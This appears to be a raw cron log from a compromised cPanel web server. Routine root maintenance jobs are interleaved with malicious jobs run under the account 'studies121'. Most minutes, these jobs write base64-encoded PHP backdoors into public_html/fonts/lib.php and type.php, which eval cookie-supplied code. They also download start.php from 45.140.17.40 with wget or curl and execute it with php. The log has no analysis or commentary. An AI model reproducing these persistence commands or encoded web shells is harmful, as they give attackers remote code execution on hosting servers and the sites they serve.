Sep 21 15:58:01 ip-184-168-122-23 CROND[5143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:58:01 ip-184-168-122-23 CROND[5146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:58:01 ip-184-168-122-23 CROND[5145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:59:01 ip-184-168-122-23 CROND[5263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:59:01 ip-184-168-122-23 CROND[5265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:59:01 ip-184-168-122-23 CROND[5264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:59:01 ip-184-168-122-23 CROND[5267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:00:01 ip-184-168-122-23 CROND[5389]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 16:00:01 ip-184-168-122-23 CROND[5392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:00:01 ip-184-168-122-23 CROND[5395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:00:01 ip-184-168-122-23 CROND[5394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:00:01 ip-184-168-122-23 CROND[5397]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 16:00:01 ip-184-168-122-23 CROND[5400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:00:01 ip-184-168-122-23 CROND[5399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:00:01 ip-184-168-122-23 CROND[5396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:00:01 ip-184-168-122-23 CROND[5401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:01:01 ip-184-168-122-23 CROND[5542]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 16:01:01 ip-184-168-122-23 CROND[5543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:01:01 ip-184-168-122-23 CROND[5545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:01:01 ip-184-168-122-23 CROND[5544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:01:01 ip-184-168-122-23 CROND[5551]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5542]: starting 0anacron
Sep 21 16:01:01 ip-184-168-122-23 CROND[5553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5563]: finished 0anacron
Sep 21 16:02:01 ip-184-168-122-23 CROND[5741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:02:01 ip-184-168-122-23 CROND[5743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:02:01 ip-184-168-122-23 CROND[5744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:02:01 ip-184-168-122-23 CROND[5745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:02:01 ip-184-168-122-23 CROND[5746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:03:01 ip-184-168-122-23 CROND[5930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:03:01 ip-184-168-122-23 CROND[5931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:03:01 ip-184-168-122-23 CROND[5932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:03:01 ip-184-168-122-23 CROND[5937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:04:01 ip-184-168-122-23 CROND[6059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:04:01 ip-184-168-122-23 CROND[6063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:04:01 ip-184-168-122-23 CROND[6061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:04:01 ip-184-168-122-23 CROND[6062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:04:01 ip-184-168-122-23 CROND[6064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:05:01 ip-184-168-122-23 CROND[6247]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 16:05:01 ip-184-168-122-23 CROND[6250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:05:01 ip-184-168-122-23 CROND[6249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:05:01 ip-184-168-122-23 CROND[6251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:05:01 ip-184-168-122-23 CROND[6248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:05:01 ip-184-168-122-23 CROND[6256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:05:01 ip-184-168-122-23 CROND[6258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:06:01 ip-184-168-122-23 CROND[6551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:06:01 ip-184-168-122-23 CROND[6552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:06:01 ip-184-168-122-23 CROND[6554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:06:01 ip-184-168-122-23 CROND[6555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:06:01 ip-184-168-122-23 CROND[6558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:07:02 ip-184-168-122-23 CROND[6665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:07:02 ip-184-168-122-23 CROND[6666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:07:02 ip-184-168-122-23 CROND[6669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:07:02 ip-184-168-122-23 CROND[6668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:08:01 ip-184-168-122-23 CROND[6856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:08:01 ip-184-168-122-23 CROND[6855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:08:01 ip-184-168-122-23 CROND[6861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:08:01 ip-184-168-122-23 CROND[6864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:08:01 ip-184-168-122-23 CROND[6865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:09:01 ip-184-168-122-23 CROND[6951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:09:01 ip-184-168-122-23 CROND[6953]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 16:09:01 ip-184-168-122-23 CROND[6954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:09:01 ip-184-168-122-23 CROND[6955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:09:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
